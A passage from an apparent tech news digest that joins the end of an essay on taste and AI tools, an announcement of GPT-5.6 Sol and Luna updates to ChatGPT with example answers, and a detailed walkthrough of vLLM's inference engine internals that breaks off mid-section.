The tools did not devalue the skill. They stripped away everything that was not the skill. All those years I thought the work was the production—the typing, the wiring, the wall—and production turns out to have been the toll. The tax you paid for the privilege of exercising judgement. Now the tax is close to zero, and what is left standing, exposed, with nowhere to hide, is the judgement itself. The part that was always the point.

Taste did not become less valuable. It became the only thing that was ever scarce. We just could not see it, because it was buried under all the labour it used to take to get to it.

A Defense, Then

So here is the defense, such as it is.

Anyone can generate now. That race is over and it was never worth winning. The discipline that remains—the one the machine cannot rent you and the dashboard cannot see—is in the deletion. In the “no, again.” In caring about the difference between fine and right when nothing external will ever reward you for caring, when the market has timed you and shrugged, when the plausible version sits there working and passing and asking only to be let through.

Refuse it anyway. Not out of nostalgia for the friction—I do not miss the wall, and I will not pretend to. Refuse it because the verdict is the last part of this that is actually yours. It is unmeasurable, which means no one can take it from you by measuring it. It is unautomatable, which means no one can sell it back to you. It is slow, which in a field optimising for infinite speed is starting to look less like a handicap and more like the only remaining evidence that a human was here and gave a damn.

Everyone can make anything. Almost no one can tell you what is worth making.

That was always the harder skill. It is now the only one left.

Post-Mortem

On Language

This post reads off as AI slop. You said it, I see it. I’m sincerely sorry for publishing something that has allowed you to feel this way. If my word means anything to you, I would like to assure you that this post was not authored by a LLM. Nor was it storyboarded, reviewed, checked, etc. by a LLM. Some readers have pointed out that people do not speak this way. That is correct. I do not speak, nor usually write, like this and this post will go down as my not-the-proudest, however, I take your criticism to heart—although not personally—and strive to improve.

I do write like this sometimes. The short sentences, the reversals, the one-word lines—all of it. It’s just the way it is. A LLM writes that way too, because it was trained on the same essays I grew up reading, so me doing it badly and a machine doing it look about the same to you on the page. That says something about my writing. It says nothing about who wrote it.

So let me be plain about it: Claude was not here. No LLM wrote this—not a sentence of it, nor was it outlined, drafted, reviewed, checked, etc. by one, and there is no prompt behind it either. It is just me, writing worse than usual. I will write the next one plainer. Next time, write to me. I too am a person behind this screen.

In Appreciation

Be assured that I have read all of your comments—the good and the bad. As with my previous post that reached Hacker News, I’ve received many insightful ones. Whether it was people sharing their experience, or negative comments with the decency to criticize with substance, I have learned something new today—for which I am thankful.

On Taste

I do not care about your taste. If this posts has offended you, then it tells more about you than it does about me. As they say, “throw an insult on the ground, its owner will pick it up”—this one I am not sorry about.

Footnotes

  1. There is an older word for this arrangement. You no longer own the means of production; you rent them, by the token, from whoever trained the model. An English teacher of mine—a committed socialist—would have had the whole thing diagrammed on the board before I finished the sentence: the worker separated first from his tools, then from the labour itself, then sold a frictionless substitute for the labour and told this was liberation. He would also, I suspect, have been the first to note the one part of the process that cannot be rented back to you, because it never left your head. Draw your own conclusions about which part that is.

  2. Zen and the Art of Motorcycle Maintenance, if you have not read it. It is about a great deal more than motorcycles, and almost nothing about Zen.

  3. Someone will (and has!) object that taste is not only the “no, again”—that compressing it to a verdict makes the work sound like leaning back in a chair and rejecting things while the machine does the labour. The objection is fair, which is why the sentence above says partially. The “no, again” is the shorthand, not the whole of it. The verdict lives inside the work—in the data structures that have to actually scale, in the privacy you have to actually mean, in the function you rewrite a fourth time because the third was merely fine. Taste is not the chair you lean back in. It is the reason you lean forward into all the rest of it.

  4. On Bullshit. Frankfurt, 2005, though the essay is older. Yes, that is the real title.

  5. Now called Sturgeon’s Law, or Sturgeon’s Revelation. He put it in print in his book-review column in Venture Science Fiction, March 1958, after years of using it to rebut critics who judged the whole genre by its worst examples.

  6. A fair pushback I got: this makes the factory sound like it fell out of the sky, some magical “good enough” that arrived one day fully formed. It did not. The factory is itself a monument of taste and labour—someone tuned every tolerance and is still in there tuning them, and the same is true of the model you are renting by the token. So I am not saying the box is magic. I am saying the box moved the taste up a level: out of the making, and into the deciding of what is worth making at all. Which is the whole argument.

The Daily Front Page 8 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — The Model Counter
article

Improving GPT‑5.6 Sol in ChatGPT, expanding GPT‑5.6 Luna access for free users

by tedsanders·▲ 202 points·149 comments·openai.com ↗
improve everyday conversations while expanding access for Free users

Our mission is to ensure that artificial general intelligence benefits all of humanity. We’re introducing updates to ChatGPT that improve everyday conversations while expanding access for Free users.

For Plus and Pro users, we’re updating GPT‑5.6 Sol in Chat to be more reliable with facts and provide more focused answers. A new slider lets you choose how much thought ChatGPT puts into each response.

For Free users, we're updating the default model to GPT‑5.6 Luna and expanding access with unlimited text chats. For questions that need more thought, a new Think button lets you access higher reasoning for harder questions.

GPT‑5.6 Sol, tuned for how you use ChatGPT

Every week, 1 billion people turn to ChatGPT for everything from quick questions and web searches to planning, research, advice, and complex decisions. We’ve updated GPT‑5.6 Sol to better support that full range. It delivers more focused answers, adapts its level of detail to the question, avoids unnecessary formatting, and offers a helpful correction when simply agreeing wouldn’t be useful. For Plus and Pro users, the same model now powers both Instant responses and deeper reasoning, creating one consistent experience.

More focused answers

The updates to GPT‑5.6 Sol in ChatGPT are designed to give you more direct responses, use tighter formatting, and avoid extra detail when it does not help.

For a quick question, that means a direct answer with the context you need. For more involved work like multi-step planning, research or writing, it means a fuller response that keeps the main recommendation clear.

Can I bike from the Mission to Ocean Beach after work today without getting soaked?

GPT-5.5 Instant

Probably yes. Based on today's forecast, I'd expect you to stay dry on a Mission → Ocean Beach ride after work. Here's what I'd plan for:

  • Rain: No meaningful rain is forecast this evening.
  • Wind: You'll likely have a moderate west/northwest headwind for the last stretch toward the beach, with gusts around 20–25 mph. That's more likely to slow you down than get you wet.
  • Temperature: Expect a noticeable drop—from the upper 60s in the Mission to around the low 60s (or cooler if the marine layer moves in early) at Ocean Beach.

The one caveat is coastal mist. Even without rain, Ocean Beach can feel damp from fog or sea spray late in the day. You probably won't get "soaked," but if you're wearing a cotton shirt, you might end the ride feeling a bit clammy near the beach. A light windbreaker is the one thing I'd bring. Also, if you're planning to hang out on the beach afterward, be aware there's a Beach Hazards Statement in effect because of elevated surf and rip current risk.

Assume I'm leaving around 5:30.

If you're rolling out around 5:30 PM, I'd go for it.

Here's what I'd expect:

  • Rain: Still no indication of rain during the evening commute.
  • Temperature: Around 67°F when you leave the Mission, dropping to the low 60s by the time you reach Ocean Beach.
  • Wind: This is the bigger factor. Expect a 15–20 mph westerly wind, with gusts up to around 25 mph, so the final miles westbound will likely feel noticeably harder.
  • Fog: There's a chance you'll ride into the edge of the marine layer near the Great Highway. Even if it's foggy, it looks more like cool mist than actual rain.

So my prediction is:

  • Mission → Golden Gate Park: Comfortable.
  • Golden Gate Park → Ocean Beach: Cooler, windier, and maybe a little damp from fog—but not soaked.

I'd wear a light wind shell if you have one, mostly for the wind rather than precipitation. If you're planning to head back later in the evening, it'll feel significantly cooler once the sun gets lower.

GPT-5.6 Sol

Yes — you should stay dry. There’s essentially no rain expected after work today. The bigger factor is the ride west: expect a noticeable headwind, with west winds around 10–20 mph and potentially stronger gusts.

So: no rain shell needed for precipitation, but bring a light wind layer for Ocean Beach.

weather widget

I can also keep an eye on the evening forecast and alert you if rain suddenly appears. Want me to?

Assume I'm leaving around 5:30.

At 5:30 PM, you’re in good shape: the forecast has 0% precipitation through the evening, so getting soaked shouldn’t be a concern.

I’d still bring a light windbreaker. As you get closer to Ocean Beach, the wind and cooler coastal air will be much more noticeable than in the Mission.

GPT‑5.6 Sol is the stronger answer because it answers the real question first, identifies wind rather than rain as the main issue, and keeps only the details the rider needs. After the 5:30 follow-up, it updates the recommendation without repeating the full forecast.

More reliable facts

A useful answer needs to get the facts right. The new GPT‑5.6 Sol is designed to make fewer mistakes—especially when answers depend on dates, numbers, sources, rules, or assumptions—by better using the sources it finds to answer your question.

In an internal evaluation of financial, medical, and legal prompts requiring factual detail, responses containing at least one factual error were about 62% less common with GPT‑5.6 Luna and 68% less common with GPT‑5.6 Sol than with GPT‑5.5 Instant.

More consistent, from quick answers to deeper thinking

With this update, we’re also bringing ChatGPT’s Instant and Thinking experiences closer together, creating a more consistent tone and behavior across different kinds of conversations. When you move from Instant to higher effort, it should feel like the model is taking extra time for a more comprehensive answer—not like you’re switching to a different model with its own tone or style.

Plus and Pro users can use the new slider in ChatGPT on web, mobile, and desktop to choose how much thought ChatGPT puts into an answer. Keep it quick for everyday questions, or move the slider up for planning, research, writing, coding, or decisions that need more thought.

Expanding access for free users

We’re expanding access to our latest models for free users with unlimited text chats using GPT‑5.6 Luna, plus a new Think button for harder questions.

For questions that require deeper reasoning, Free users can tap the new Think button to give GPT‑5.6 Luna more time to work through the answer.

ChatGPT Free interface showing the Think button and a “Get smarter answers” dialog with options to upgrade to Plus or turn on deeper reasoning.

Safety and availability

Plus and Pro users can access the updated version of GPT‑5.6 Sol and the new slider in ChatGPT starting today.

GPT‑5.6 Luna will become the default model for Free and Go users this week. Starting next week, they’ll also have unlimited text chats and access to a new Think button for harder questions (subject to abuse guardrails). Limits will still apply for file uploads, images and other tools.

Because this version of GPT‑5.6 Sol is optimized for everyday chats, it will only be available in the Chat experience in ChatGPT. The version of GPT‑5.6 Sol that powers Work and Codex is not changing as part of this release.

You can find more detail on safety training and evaluations in our system card⁠(opens in a new window), which outlines additional measures we’ve introduced to support users we believe are under 18. For these users, we trained the model to avoid romantic roleplay, age-restricted challenges, and presenting itself as a substitute for real-world relationships. In addition, we applied age-appropriate boundaries around sexual content, eating disorders and body-image risks, age-restricted goods, dangerous activities, and graphic violence. Finally, the model encourages connection with trusted people when a teen may need support. We reinforced this training with system-level protections and have added new evaluations for how our models perform for users under 18, and are continuing to improve model responses in this area.

More intelligence for more people

This is a concrete step toward more abundant intelligence: making our latest models more widely available, improving the usefulness and reliability of the answers people get, and letting free users keep text chats going without a rate limit. Access shapes opportunity, and this update gives more people the ability to keep asking, develop an idea, and get help when they need it.

The Daily Front Page 9 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Under the Inference Hood
article

Inside vLLM: Anatomy of a High-Throughput LLM Inference System (2025)

by sebg·▲ 85 points·4 comments·aleksagordic.com ↗
all of the core system components and advanced features that make up a modern high-throughput LLM inference system

From paged attention, continuous batching, prefix caching, specdec, etc. to multi-GPU, multi-node dynamic serving at scale

In this post, I'll gradually introduce all of the core system components and advanced features that make up a modern high-throughput LLM inference system. In particular I'll be doing a breakdown of how vLLM [1] works.

This post is the first in a series. It starts broad and then layers in detail (following an inverse-pyramid approach) so you can form an accurate high-level mental model of the complete system without drowning in minutiae.

Later posts will dive into specific subsystems.

This post is structured into five parts:

  1. LLM engine & engine core: fundamentals of vLLM (scheduling, paged attention, continuous batching, etc.)
  2. Advanced features: chunked prefill, prefix caching, guided & speculative decoding, disaggregated P/D
  3. Scaling up: from single-GPU to multi-GPU execution
  4. Serving layer: distributed / concurrent web scaffolding
  5. Benchmarks and auto-tuning: measuring latency and throughput

📝Notes

  • Analysis is based on commit 42172ad (August 9th, 2025).
  • Target audience: anyone curious about how state-of-the-art LLM engines work, as well as those interested in contributing to vLLM, SGLang, etc.
  • I'll focus on the V1 engine. I also explored V0 (now deprecated), which was valuable for understanding how the project evolved, and many concepts still carry over.
  • The first section on LLM Engine / Engine Core might be a bit overwhelming/dry - but the rest of the blog has plenty examples and visuals. :)

LLM Engine & Engine Core

The LLM engine is the fundamental building block of vLLM. On its own, it already enables high-throughput inference - but only in an offline setting. You can't serve it to customers over the web yet.

We'll use the following offline inference snippet as our running example (adapted from basic.py).

from vllm import LLM, SamplingParams

prompts = [
    "Hello, my name is",
    "The president of the United States is",
]

sampling_params = SamplingParams(temperature=0.8, top_p=0.95)

def main():
    llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0")

    outputs = llm.generate(prompts, sampling_params)

if __name__ == "__main__":
    main()

📝Environment vars:

  • VLLM_USE_V1="1" # we're using engine V1
  • VLLM_ENABLE_V1_MULTIPROCESSING="0" # we're running in a single process

This configuration is:

  • offline (no web/distributed system scaffolding)
  • synchronous (all execution happens in a single blocking process)
  • single-GPU (no data/model/pipeline/expert parallelism; DP/TP/PP/EP = 1)
  • using standard transformer [2] (supporting hybrid models like Jamba requires a more complex hybrid KV-cache memory allocator)

From here, we'll gradually build up to an online, async, multi-GPU, multi-node inference system - but still serving a standard transformer.

In this example we do two things, we:

  1. Instantiate an engine
  2. Call generate on it to sample from the given prompts

Let's start analyzing the constructor.

LLM Engine constructor

The main components of the engine are:

  • vLLM config (contains all of the knobs for configuring model, cache, parallelism, etc.)
  • processor (turns raw inputs → EngineCoreRequests via validation, tokenization, and processing)
  • engine core client (in our running example we're using InprocClient which is basically == EngineCore; we'll gradually build up to DPLBAsyncMPClient which allows serving at scale)
  • output processor (converts raw EngineCoreOutputsRequestOutput that the user sees)

📝Note:

With the V0 engine being deprecated, class names and details may shift. I'll emphasize the core ideas rather than exact signatures. I'll abstract away some but not all of those details.

Engine core itself is made up of several sub components:

  • Model Executor (drives forward passes on the model, we're currently dealing with UniProcExecutor which has a single Worker process on a single GPU). We'll gradually build up to MultiProcExecutor which supports multiple GPUs

  • Structured Output Manager (used for guided decoding - we'll cover this later)

  • Scheduler (decides which requests go into the next engine step) - it further contains:

    1. policy setting - it can be either FCFS (first come first served) or priority (higher priority requests are served first)
    2. waiting and running queues
    3. KV cache manager - the heart of paged attention [3]

The KV-cache manager maintains a free_block_queue - a pool of available KV-cache blocks (often on the order of hundreds of thousands, depending on VRAM size and block size). During paged attention, the blocks serve as the indexing structure that map tokens to their computed KV cache blocks.

LLM engine constructor

Core components described in this section and their relationships

Block size for a standard transformer layer (non-MLA [4]) is computed as follows:
2 (key/value) * block_size (default=16) * num_kv_heads * head_size * dtype_num_bytes (e.g. 2 for bf16)

During model executor construction, a Worker object is created, and three key procedures are executed. (Later, with MultiProcExecutor, these same procedures run independently on each worker process across different GPUs.)

  1. Init device:

    • Assign a CUDA device (e.g. "cuda:0") to the worker and check that the model dtype is supported (e.g. bf16)
    • Verify enough VRAM is available, given the requested gpu_memory_utilization (e.g. 0.8 → 80% of total VRAM)
    • Set up distributed settings (DP / TP / PP / EP, etc.)
    • Instantiate a model_runner (holds the sampler, KV cache, and forward-pass buffers such as input_ids, positions, etc.)
    • Instantiate an InputBatch object (holds CPU-side forward-pass buffers, block tables for KV-cache indexing, sampling metadata, etc.)
  2. Load model:

    • Instantiate the model architecture
    • Load the model weights
    • Call model.eval() (PyTorch's inference mode)
    • Optional: call torch.compile() on the model
  3. Initialize KV cache

    • Get per-layer KV-cache spec. Historically this was always FullAttentionSpec (homogeneous transformer), but with hybrid models (sliding window, Transformer/SSM like Jamba) it became more complex (see Jenga [5])
    • Run a dummy/profiling forward pass and take a GPU memory snapshot to compute how many KV cache blocks fit in available VRAM
    • Allocate, reshape and bind KV cache tensors to attention layers
    • Prepare attention metadata (e.g. set the backend to FlashAttention) later consumed by kernels during the fwd pass
    • Unless --enforce-eager is provided, for each of warmup batch sizes do a dummy run and capture CUDA graphs. CUDA graphs record the whole sequence of GPU work into a DAG. Later during fwd pass we launch/replay pre-baked graphs and cut on kernel launch overhead and thus improve latency.

I've abstracted away many low-level details here — but these are the core pieces I'll introduce now, since I'll reference them repeatedly in the following sections.

Now that we have the engine initialized let's proceed to the generate function.

Generate function

The first step is to validate and feed requests into the engine. For each prompt we:

  1. Create a unique request ID and capture its arrival time
  2. Call an input preprocessor that tokenizes the prompt and returns a dictionary containing prompt, prompt_token_ids, and a type (text, tokens, embeds, etc.)
  3. Pack this info into an EngineCoreRequest, adding priority, sampling params, and other metadata
  4. Pass the request into the engine core, which wraps it in a Request object and sets its status to WAITING. This request is then added to the scheduler's waiting queue (append if FCFS, or heap-push if priority)

At this point the engine has been fed and execution can begin. In the synchronous engine example, these initial prompts are the only ones we'll process — there's no mechanism to inject new requests mid-run. In contrast, the asynchronous engine supports this (aka continuous batching [6]): after each step, both new and old requests are considered.

Because the forward pass flattens the batch into a single sequence and custom kernels handle it efficiently, continuous batching is fundamentally supported even in the synchronous engine.

Next, as long as there are requests to process, the engine repeatedly calls its step() function. Each step has three stages:

  1. Schedule: select which requests to run in this step (decode, and/or (chunked) prefill)
  2. Forward pass: run the model and sample tokens
  3. Postprocess: append sampled token IDs to each Request, detokenize, and check stop conditions. If a request is finished, clean up (e.g. return its KV-cache blocks to free_block_queue) and return the output early

📝Stop conditions are:

  • The request exceeds its length limit (max_model_length or its own max_tokens)
  • The sampled token is the EOS ID (unless ignore_eos is enabled -> useful for benchmarking when we want to force a generation of a certain number of out tokens)
  • The sampled token matches any of the stop_token_ids specified in the sampling parameters
  • Stop strings are present in the output - we truncate the output until the first stop string appearance and abort the request in the engine (note that stop_token_ids will be present in the output but stop strings will not).

Engine loop

Engine loop

In streaming mode, we would send intermediate tokens as they are generated, but we'll ignore that for now.

Next, we'll examine scheduling in more detail.

Scheduler

There are two main types of workloads an inference engine handles:

  1. Prefill requests — a forward pass over all prompt tokens. These are usually compute-bound (threshold depends on hardware and prompt length). At the end, we sample a single token from the probability distribution of the final token's position.
  2. Decode requests — a forward pass over just the most recent token. All earlier KV vectors are already cached. These are memory-bandwidth-bound, since we still need to load all LLM weights (and KV caches) just to compute one token.

In the benchmarking section we'll analyze the so-called roofline model of GPU perf. That will go into more detail behind prefill/decode perf profiles.

The V1 scheduler can mix both types of requests in the same step, thanks to smarter design choices. In contrast, the V0 engine could only process either prefill or decode at once.

The scheduler prioritizes decode requests — i.e. those already in the running queue. For each such request it:

  1. Computes the number of new tokens to generate (not always 1, due to speculative decoding and async scheduling — more on that later).
  2. Calls the KV-cache manager's allocate_slots function (details below).
  3. Updates the token budget by subtracting the number of tokens from step 1.

After that, it processes prefill requests from the waiting queue, it:

  1. Retrieves the number of computed blocks (returns 0 if prefix caching is disabled — we'll cover that later).
  2. Calls the KV-cache manager's allocate_slots function.
  3. Pops the request from waiting and moves it to running, setting its status to RUNNING.
  4. Updates the token budget.

Let's now look at what allocate_slots does, it:

  1. Computes number of blocks — determines how many new KV-cache blocks (n) must be allocated. Each block stores 16 tokens by default. For example, if a prefill request has 17 new tokens, we need ceil(17/16) = 2 blocks.
  2. Checks availability — if there aren't enough blocks in the manager's pool, exit early. Depending on whether it's a decode or prefill request, the engine may attempt recompute preemption (swap preemption was supported in V0) by evicting low-priority requests (calling kv_cache_manager.free which returns KV blocks to block pool), or it might skip scheduling and continue execution.
  3. Allocates blocks — via the KV-cache manager's coordinator, fetches the first n blocks from the block pool (the free_block_queue doubly linked list mentioned earlier). Stores to req_to_blocks, the dictionary mapping each request_id to its list of KV-cache blocks.

KV cache blocks

list of KV cache blocks

We're finally ready to do a forward pass!

Run forward pass

We call model executor's execute_model, which delegates to the Worker, which in turn delegates to the model runner.

Here are the main steps:

  1. Update states — prune finished requests from input_batch; update misc fwd pass related metadata (e.g., KV cache blocks per request that will be used to index into paged KV cache memory).
  2. Prepare inputs — copy buffers from CPU→GPU; compute positions; build slot_mapping (more on that in example); construct attention metadata.
  3. Forward pass — run the model with custom paged attn kernels. All sequences are flattened and concatenated into one long "super sequence". Position indices and attention masks ensure each sequence only attends to its own tokens, which enables continuous batching without right-padding.
  4. Gather last-token states — extract hidden states for each sequence's final position and compute logits.
  5. Sample — sample tokens from computed logits as dictated by the sampling config (greedy, temperature, top-p, top-k, etc.).

Forward-pass step itself has two execution modes:

  1. Eager mode — run the standard PyTorch forward pass when eager execution is enabled.
  2. "Captured" mode — execute/replay a pre-captured CUDA Graph when eager is not enforced (remember we captured these during engine construction in the initialize KV cache procedure).

Here is a concrete example that should make continuous batching and paged attention clear:

fwd pass - continuous batching & paged attn

Forward pass: continuous batching and paged attention

Advanced Features — extending the core engine logic

With the basic engine flow in place, we can now look at the advanced features.

We've already discussed preemption, paged attention, and continuous batching.

Next, we'll dive into:

  1. Chunked prefill
  2. Prefix caching
  3. Guided decoding (through grammar-constrained finite-state machines)
  4. Speculative decoding
  5. Disaggregated P/D (prefill/decoding)

Chunked prefill

Chunked prefill is a technique for handling long prompts by splitting their prefill step into smaller chunks. Without it, we could end up with a single very long request monopolizing one engine step disallowing other prefill requests to run. That would postpone all other requests and increase their latency.

For example, let each chunk contain n (=8) tokens, labeled with lowercase letters separated by "-". A long prompt P could look like x-y-z, where z is an incomplete chunk (e.g. 2 toks). Executing the full prefill for P would then take ≥ 3 engine steps (> can happen if it's not scheduled for execution in one of the steps), and only in the last chunked prefill step would we sample one new token.

Here is that same example visually:

Chunked prefilling - pt 1

Implementation is straightforward: cap the number of new tokens per step. If the requested number exceeds long_prefill_token_threshold, reset it to exactly that value. The underlying indexing logic (described earlier) takes care of the rest.

In vLLM V1, you enable chunked prefill by setting long_prefill_token_threshold to a positive integer. (Technically, it can happen irrespective of this, if the prompt length exceeds the token budget we truncate it and run a chunked prefill.)

Prefix Caching

To explain how prefix caching works, let's take the original code example and tweak it a bit:

from vllm import LLM, SamplingParams

long_prefix = "<a piece of text that is encoded into more than block_size tokens>"

prompts = [
    "Hello, my name is",
    "The president of the United States is",
]

sampling_params = SamplingParams(temperature=0.8, top_p=0.95)

def main():
    llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0")

    outputs = llm.generate(long_prefix + prompts[0], sampling_params)
    outputs = llm.generate(long_prefix + prompts[1], sampling_params)

if __name__ == "__main__":
    main()

Prefix caching avoids recomputing tokens that multiple prompts share at the beginning - hence prefix.

The crucial piece is the long_prefix: it's defined as any prefix longer than a KV-cache block (16 tokens by default). To simplify our example let's say long_prefix has exactly length n x block_size (where n ≥ 1).

i.e. it perfectly aligns with block boundary - otherwise we'd have to recompute long_prefix_len % block_size tokens as we can't cache incomplete blocks.

Without prefix caching, each time we process a new request with the same long_prefix, we'd recompute all n x block_size tokens.

With prefix caching, those tokens are computed once (their KVs stored in KV cache paged memory) and then reused, so only the new prompt tokens need processing. This speeds up prefill requests (though it doesn't help with decode).

How does this work in vLLM?

During the first generate call, in the scheduling stage, inside kv_cache_manager.get_computed_blocks, the engine invokes hash_request_tokens:

  1. This function splits the long_prefix + prompts[0] into 16-token chunks.

  2. For each complete chunk, it computes a hash (using either the built-in hash or SHA-256, which is slower but has fewer collisions). The hash combines the previous block's hash, the current tokens, and optional metadata.

    optional metadata includes: MM hash, LoRA ID, cache salt (injected into hash of the first block ensures only requests with this cache salt can reuse blocks).

  3. Each result is stored as a BlockHash object containing both the hash and its token IDs. We return a list of block hashes.

The list is stored in self.req_to_block_hashes[request_id].

Next, the engine calls find_longest_cache_hit to check if any of these hashes already exist in cached_block_hash_to_block. On the first request, no hits are found.

Prefix caching logic - pt 1

Then we call allocate_slots which calls coordinator.cache_blocks, which associates the new BlockHash entries with allocated KV blocks and records them in cached_block_hash_to_block.

Afterwards, the forward pass will populate KVs in paged KV cache memory corresponding to KV cache blocks that we allocated above.

After many engine steps it'll allocate more KV cache blocks but it doesn't matter for our example because the prefix has diverged immediately after long_prefix.

Prefix caching logic - pt 2

On a second generate call with the same prefix, steps 1-3 repeat, but now find_longest_cache_hit finds matches for all n blocks (via linear search). The engine can reuse those KV blocks directly.

Prefix caching logic - pt 3

If the original request were still alive, the reference count for those blocks would increment (e.g. to 2). In this example, the first request has already completed, so the blocks were freed back to the pool and their reference counts set back to 0. Because we were able to retrieve them from cached_block_hash_to_block we know they're valid (the logic of the KV cache manager is setup in such a way), so we just remove them from free_block_queue again.

📝Advanced note:

KV-cache blocks become invalid only when they're about to be reallocated from the free_block_queue (which pops from the left) and we discover the block still has an associated hash and is present in cached_block_hash_to_block. At that moment, we clear the block's hash and remove its entry from cached_block_hash_to_block, ensuring it can't be reused via prefix caching (at least not for that old prefix).

And that's the gist of prefix caching: don't recompute prefixes you've already seen — just reuse their KV cache!

If you understood this example you also understood how paged attention works.

Prefix caching is enabled by default. To disable it: enable_prefix_caching = False.

Guided Decoding (FSM)

Guided decoding is a technique where, at each decoding step, the logits are constrained by a grammar-based finite state machine. This ensures that only tokens allowed by the grammar can be sampled.

It's a powerful setup: you can enforce anything from regular grammars (Chomsky type-3, e.g. arbitrary regex patterns) all the way up to context-free grammars (type-2, which cover most programming languages).

To make this less abstract, let's start with the simplest possible example, building on our earlier code:

from vllm import LLM, SamplingParams
from vllm.sampling_params import GuidedDecodingParams

prompts = [
    "This sucks",
    "The weather is beautiful",
]

guided_decoding_params = GuidedDecodingParams(choice=["Positive", "Negative"])
sampling_params = SamplingParams(guided_decoding=guided_decoding_params)

def main():
    llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0")

    outputs = llm.generate(prompts, sampling_params)

if __name__ == "__main__":
    main()

In the toy example I gave (assume character-level tokenization): at prefill, the FSM masks logits so only "P" or "N" are viable. If "P" is sampled, the FSM moves to the "Positive" branch; next step only "o" is allowed, and so on.

FSM

Toy example FSM

How this works in vLLM:

  1. At LLM engine construction, a StructuredOutputManager is created; it has access to the tokenizer and maintains a _grammar_bitmask tensor.
  2. When adding a request, its status is set to WAITING_FOR_FSM and grammar_init selects the backend compiler (e.g., xgrammar [7]; note that backends are 3rd party code).
  3. The grammar for this request is compiled asynchronously.
  4. During scheduling, if the async compile has completed, the status switches to WAITING and request_id is added to structured_output_request_ids; otherwise it's placed in skipped_waiting_requests to retry on next engine step.
  5. After the scheduling loop (still inside scheduling), if there are FSM requests, the StructuredOutputManager asks the backend to prepare/update _grammar_bitmask.
  6. After the forward pass produces logits, xgr_torch_compile's function expands the bitmask to vocab size (32x expansion ratio because we use 32 bit integers) and masks disallowed logits to –∞.
  7. After sampling the next token, the request's FSM is advanced via accept_tokens. Visually we move to the next state on the FSM diagram.

Step 6 deserves further clarification.

If vocab_size = 32, _grammar_bitmask is a single integer; its binary representation encodes which tokens are allowed ("1") vs disallowed ("0"). For example, "101…001" expands to a length-32 array [1, 0, 1, …, 0, 0, 1]; positions with 0 get logits set to –∞. For larger vocabularies, multiple 32-bit words are used and expanded/concatenated accordingly. The backend (e.g., xgrammar) is responsible for producing these bit patterns using the current FSM state.

📝Note:

Most of the complexity here is hidden in the 3rd party libs like xgrammar.

Here is an even simpler example with vocab_size = 8 and 8-bit integers (for those of you who like my visuals):

FSM

Toy example

You can enable this in vLLM by passing in a desired guided_decoding config.

Speculative Decoding

In autoregressive generation, each new token requires a forward pass of the large LM. This is expensive — every step reloads and applies all model weights just to compute a single token! (assuming batch size == 1, in general it's B)

Speculative decoding [8] speeds this up by introducing a smaller draft LM. The draft proposes k tokens cheaply. But we don't ultimately want to sample from the smaller model — it's only there to guess candidate continuations. The large model still decides what's valid.

Here are the steps:

  1. Draft: run the small model on the current context and propose k tokens

  2. Verify: run the large model once on context + k draft tokens. This produces probabilities for those k positions plus one extra (so we get k+1 candidates)

  3. Accept/reject: going from left to right over the k draft tokens:

    • If the large model's probability for the draft token ≥ the draft's probability, accept it

    • Otherwise, accept it with probability p_large(token)/p_draft(token)

    • Stop at the first rejection, or accept all k draft tokens.

      • If all k draft tokens are accepted, also sample the extra (k+1)-th token "for free" from the large model (we already computed that distribution).
      • If there was a rejection create a new rebalanced distribution at that position (p_large - p_draft, clamp min at 0, normalize to sum to 1) and sample the last token from it.

Why this works: Although we use the small model to propose candidates, the accept/reject rule guarantees that in expectation the sequence is distributed exactly as if we had sampled token by token from the large model. This means speculative decoding is statistically equivalent to standard autoregressive decoding — but potentially much faster, since a single large-model pass can yield up to k+1 tokens.

📝Note:

I recommend looking at gpt-fast for a simple implementation, and the original paper for the math details and the proof of equivalence to sampling from the full model.

vLLM V1 does not support the LLM draft model method, instead it implements faster—but less accurate—proposal schemes: n-gram, EAGLE [9], and Medusa [10].

One-liners on each:

  1. n-gram: take the last prompt_lookup_max tokens; find a prior match in the sequence; if found, propose the k tokens that followed that match; otherwise decrement the window and retry down to prompt_lookup_min

    The current implementation returns k tokens after the first match. It feels more natural to introduce a recency bias and reverse the search direction? (i.e. last match)

  2. Eagle: perform "model surgery" on the large LM—keep embeddings and LM head, replace the transformer stack with a lightweight MLP; fine-tune that as a cheap draft

  3. Medusa: train auxiliary linear heads on top (embeddings before LM head) of the large model to predict the next k tokens in parallel; use these heads to propose tokens more efficiently than running a separate small LM

Here's how to invoke speculative decoding in vLLM using ngram as the draft method:

from vllm import LLM, SamplingParams

prompts = [
    "Hello, my name is",
    "The president of the United States is",
]

sampling_params = SamplingParams(temperature=0.8, top_p=0.95)

speculative_config={
    "method": "ngram",
    "prompt_lookup_max": 5,
    "prompt_lookup_min": 3,
    "num_speculative_tokens": 3,
}

def main():
    llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0", speculative_config=speculative_config)

    outputs = llm.generate(prompts, sampling_params)

if __name__ == "__main__":
    main()

How does this work in vLLM?

Setup (during engine construction):

  1. Init device: create a drafter (draft model, e.g., NgramProposer) and a rejection_sampler (parts of it are written in Triton).
  2. Load model: load draft model weights (no-op for n-gram).

After that in the generate function (assume we get a brand new request):

  1. Run the regular prefill step with the large model.
  2. After the forward pass and standard sampling, call propose_draft_token_ids(k) to sample k draft tokens from the draft model.
  3. Store these in request.spec_token_ids (update the request metadata).
  4. On the next engine step, when the request is in the running queue, add len(request.spec_token_ids) to the "new tokens" count so allocate_slots reserves sufficient KV blocks for the fwd pass.
  5. Copy spec_token_ids into input_batch.token_ids_cpu to form (context + draft) tokens.
  6. Compute metadata via _calc_spec_decode_metadata (this copies over tokens from input_batch.token_ids_cpu, prepares logits, etc.), then run a large-model forward pass over the draft tokens.
  7. Instead of regular sampling from logits, use the rejection_sampler to accept/reject left-to-right and produce output_token_ids.
  8. Repeat steps 2-7 until a stop condition is met.

The best way to internalize this is to fire up your debugger and step through the codebase, but this section hopefully gives you a taste for it. This as well:

Drafting stage

Verify stage & rejection sampling stage

Disaggregated P/D

I've already previously hinted at the motivation behind disaggregated P/D (prefill/decode).

Prefill and decode have very different performance profiles (compute-bound vs. memory-bandwidth-bound), so separating their execution is a sensible design. It gives tighter control over latency — both TTFT (time-to-first-token) and ITL (inter-token latency) — more on this in the benchmarking section.

